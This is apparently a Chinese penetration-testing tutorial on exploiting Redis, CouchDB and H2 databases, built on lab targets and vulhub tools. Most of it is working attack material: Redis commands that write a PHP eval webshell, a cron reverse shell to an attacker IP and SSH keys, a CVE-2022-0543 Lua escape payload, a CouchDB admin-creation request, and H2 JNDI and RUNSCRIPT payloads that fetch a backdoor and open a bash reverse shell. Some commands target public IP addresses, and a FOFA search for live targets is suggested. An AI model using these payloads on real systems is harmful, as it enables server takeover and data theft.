一、数据库-Redis-未授权RCE&CVE
1、未授权访问:CNVD-2015-07557
(1)漏洞描述
Redis默认情况下会绑定在6379端口
如果没有采取相关策略(如添加防火墙规则阻止非信任来源IP访问),会将Redis暴露在公网上;如果没有设置密码认证(一般为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。
攻击者在未授权访问Redis的情况下可以利用Redis的相关方法,可以成功将自己的公钥写入目标服务器的 /root/.ssh 文件夹的authotrized_keys文件中,进而可以直接登录目标服务器。
(2)影响危害
易受攻击对象:Redis linux环境 对公网开放 未启用认证 以root方式启动(非必需)
现象
- Redis被执行过flushall命令进行清空
- Redis内新建crackit的key
- Redis的dir参数被指向/root/ssh文件夹
- /root/.ssh目录下生成authoriz_keys文件(或覆盖现有的)
(3)环境搭建
靶机:ubuntu 192.168.1.111
安装redis服务器(redis-server)
wget http://download.redis.io/releases/redis-4.0.10.tar.gz
解压,进入源码目录,然后编译(make、make install)
tar -zxvf redis-4.0.10.tar.gz
cd redis-4.0.10
make
make install
启动redis-server,注意关闭ubuntu的 防火墙iptables and ufw
查看是否启用了redis-server
ps -ef |grep redis-server
攻击机:kali 192.168.1.110
kali安装安装redis客户端(redis-cli)
wget http://download.redis.io/releases/redis-3.2.0.tar.gz
tar xzf redis-3.2.0.tar.gz
cd redis-3.2.0
make
make install
测试redis客户端连接
漏洞利用须知:
必须在非保护模式下才有可能利用这个漏洞,如果在保护模式下即使访问了redis也是无法执行命令的,如下图所示
Redis处于保护模式,只能本地链接,我们需要修改配置文件../redis.conf
vim redis.conf
# bind 127.0.0.1
protected-mode no修改redis配置文件后需要重新启动redis
redis-server redis.conf
然后重新测试redis连接
redis常见命令
redis-cli -h 192.168.1.111 #远程连接redis:: 192.168.1.111:6379> info #查看redis版本信息、服务器版本信息等 192.168.1.111:6379> CONFIG GET dir #获取默认的redis目录 192.168.1.111:6379> CONFIG GET dbfilename #获取默认的rdb文件名 192.168.1.111:6379> set x “test” #将变量x的值设为test 192.168.1.111:6379> get x #获取变量x的值
(4)漏洞复现
Type1:写入webshell
前提条件:
1.目标有web网站
2.知道网站根目录绝对路径(可以利用phpinfo或者错误暴路径等)。
3.对目标网站根目录有写入权限。
获取网站路径方法https://www.cnblogs.com/endust/p/12132374.html
漏洞利用:
config set dir /tmp #设置WEB写入目录config set dbfilename 1.php #设置写入文件名set test "<?php phpinfo();?>" #设置写入文件代码bgsave #保存执行save #保存执行
- 目标有网站,使用的是xampp,xampp网站默认路径
/opt/lampp/htdocs
192.168.1.111:6379> config set dir /opt/lampp/htdocs
OK
192.168.1.111:6379> config set dbfilename 1.php
OK
192.168.1.111:6379> set test "<?php phpinfo();?>"
OK
192.168.1.111:6379> bgsave
Background saving started
192.168.1.111:6379> save
OK
192.168.1.111:6379>
- 浏览器访问http://192.168.1.111/1.php ,发现目标靶机成功写入1.php
set x "\n\n\n<?php @eval($_POST['cc']);?>\n\n\n"
- 打开蚁剑连接这个webshell
Type2:写定时任务反弹shell
config set dir /var/spool/cron
set yy "\n\n\n* * * * * bash -i >& /dev/tcp/192.168.1.110/5555 0>&1\n\n\n"
config set dbfilename x
save
客户机监听5555端口,反弹shell未成功
Type3:写入Linux ssh-key公钥
原理就是在数据库中插入一条数据,将本机的公钥作为value,key值随意,
然后通过修改数据库的默认路径为/root/.ssh和默认的缓冲文件authorized.keys
把缓冲的数据保存在文件里,这样就可以在服务器端的/root/.ssh下生一个授权的key
首先在攻击机(kali)上生成ssh公钥
将公钥写入foo.txt文件
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /tmp/foo.txt
再把key.txt文件内容写入redis缓冲
cat key.txt | redis-cli -h 192.168.1.111 -x set xxx
设置redis的dump文件路径为/root/.ssh且文件名为authorized_keys
注意: redis 可以创建文件但无法创建目录,所以,redis 待写入文件所在的目录必须事先存在。
这里是因为目标靶机不存在.ssh目录(默认没有,需要生成公、私钥或者建立ssh连接时才会生成)
目标使用ssh服务连接其他服务器后,会自动 产生.ssh目录
经测试必须是目标服务器通过ssh连接其他服务器,目标服务器才会产生./ssh目录。若是其他服务器主动ssh连接目标服务器,则目标服务器不产生.ssh目录。
测试是否可以通过ssh登录目标服务器,成功登录
Tyep4:自动化工具
redis-rogue-serverTyep4:自动化工具redis-rogue-server
编译工具:
cd RedisModulesSDK/exp/
make
工具利用:
./redis-rogue-server.py --rhost 127.0.0.1 --lhost 127.0.0.1
vulfocus靶场实验:
漏洞利用
交互模式:
反弹模式:反弹shell未成功
学习参考: Redis 攻击方法总结(三)-阿里云开发者社区
2、未授权访问-CNVD--2019-21763
(1)漏洞描述
由于在Reids 4.x及以上版本中新增了模块功能,攻击者可通过外部拓展,在Redis中实现一个新的Redis命令。攻击者可以利用该功能引入模块,在未授权访问的情况下使被攻击服务器加载恶意.so 文件,从而实现远程代码执行。
(2)漏洞利用
工具:https://github.com/vulhub/redis-rogue-getshell
#Windows下载工具zip包上传至服务器
#解压
unzip redis-rogue-getshell-master.zip
#编译
cd redis-rogue-getshell-master
cd RedisModulesSDK/
make
编译后会生成.so文件
查看帮助
python3 redis-master.py -h
命令执行:
python3 redis-master.py -r target-ip -p 6379 -L local-ip -P 8888 -f RedisModulesSDK/exp.so -c "id"
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "id"
同样可以执行其他命令,如
#查看当前路径
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "pwd"
#查看当前用户名
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "whoami"
#查看tmp目录下的所有文件和文件夹
python3 redis-master.py -r 43.134.129.237 -p 34414 -L 49.232.220.95 -P 80 -f RedisModulesSDK/exp.so -c "ls /tmp"
3、沙箱绕过RCE-CVE-2022-0543
(1)漏洞简介
Redis Labs Redis是美国Redis Labs公司的一套开源的使用ANSI C编写、支持网络、可基于内存亦可持久化的日志型、键值(Key-Value)存储数据库,并提供多种语言的API。Redis 存在代码注入漏洞,攻击者可利用该漏洞远程执行代码。
(2)漏洞 利用
Poc:执行id命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0
执行pwd命令、ls命令
#执行pwd命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("pwd", "r"); local res = f:read("*a"); f:close(); return res' 0
#执行ls命令
eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0
实战中有没有这个漏洞呢?
FOFA语法搜一下
二、数据库-Couchdb-未授权RCE&CVE
1、Couchdb 垂直权限绕过(CVE-2017-12635)
(1)漏洞描述
Apache CouchDB是一个开源数据库,专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。应用广泛,如BBC用在其动态内容展示平台,Credit Suisse用在其内部的商品部门的市场框架,Meebo,用在其社交平台(web和应用程序)。在2017年11月15日,CVE-2017-12635和CVE-2017-12636披露利用。
Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞,该漏洞源于基于rlang的JSON解析器和基于JavaScript的JSON解析器之间存在差异。攻击者可利用该漏洞访问任意的shell命令或获取管理员权限。
#数据库应用-Couchdb-未授权越权&CVE漏洞
默认端口:5984
(2)漏洞利用
1、先创建用户
修改数据包
PUT /_users/org.couchdb.user:xiaodi HTTP/1.1
{
"type": "user",
"name": "xiaodi",
"roles": ["_admin"],
"roles": [],
"password": "xiaodi"
}
2、登录用户授权
Get:/_utils/
xiaodi xiaodi
2、Couchdb 命令执行 (CVE-2017-12636)
(1)漏洞描述
Apache CouchDB是美国阿帕奇(Apache)软件基金会一个免费、开源、面向文档的数据库,是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
Apache CouchDB 1.7.0之前的版本和2.1.1之前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意的shell命令(包括:从公共网络上下载和执行脚本)。
(2)漏洞利用
默认端口是5984
fofa也可以搜
port=“5984”
就全是 couchDB的数据库
exp利用
1、下载exp.py
https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py
2、修改目标和反弹地址
3、Python3调用执行即可
执行之前在攻击主机实施监听:
nc -lvvp 9999
三、数据库-H2database-未授权RCE&VCVE
(1)漏洞描述
Java SQL 数据库 H2,H2的主要特点是:非常快,开源,JDBC API;嵌入式和服务器模式;内存数据库;基于浏览器的控制台应用程序。H2 数据库控制台中的另一个未经身份验证的 RCE 漏洞,在v2.1.210+中修复。2.1.210 之前的H2控制台允许远程攻击者通过包含子字符串的jdbc:h2:mem JDBC URL执行任意代码。
(2)漏洞利用
默认端口:20051(实战中端口是有 可能更改的)
有些 网站也有可能是8082和9082,还是需要通过一些其他的特征来判断。
H2database控制端,如果看到这个界面说明是H2database,一个java应用数据库。
安全问题:在2.1.210版本 之前的H2控制台包含Jdbc的 攻击。
网上 利用方案就是利用JNDI注入
H2database-未授权访问漏洞复现_h2 database connection-CSDN博客
在攻击机上启动JNDI服务:
下载JNDI-Injection-Exploit
https://github.com/welk1n/JNDI-Injection-Exploit/releases/download/v1.0/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
wget https://github.com/welk1n/JNDI-Injection-Exploit
生成执行RMI Payload-URL
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch /tmp/success -A 49.232.220.95 #-A 参数后是攻击机IP地址
javax.naming.InitialContext
其他复现思路:
使用JNDI工具生成RMI利用链,执行命令下载后门文件
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "wget http://x.x.x.x/shell.elf" -A 攻击机IP地址
填入URL提交执行,点击连接
下载后门之后,给木马文件加执行权限(还是和上面同样的方式)
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C touch "chmod 777 shell.elf" -A 攻击机IP地址
靶场地址有加载rmi url就说明执行了,最后再执行 后门。
1、未授权进入:
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;\
2、RCE执行反弹:
-创建数据库文件:h2database.sql
CREATE TABLE test (id INT NOT NULL);CREATE TRIGGER TRIG_JS BEFORE INSERT ON TEST AS '//javascriptJava.type("java.lang.Runtime").getRuntime().exec("bash -c {echo,base64加密的反弹shell指令}|{base64,-d}|{bash,-i}");';#反弹指令示例:bash -i >& /dev/tcp/x.x.x.x/6666 0>&1
-启动提供SQL文件远程加载服务
利用python搭建web服务
python3 -m http.server 端口
尝试访问python搭建的web服务
-填入Payload使其加载远程SQL
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://搭建的IP:端口/h2database.sql';\
jdbc:h2:mem:test1;FORBID_CREATION=FALSE;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=RUNSCRIPT FROM 'http://49.232.220.95:9999/fuckh2database.sql';
http://49.232.220.95:9999/fuckh2database.sql
nc监听反弹shell端口
nc -lvvp xxxx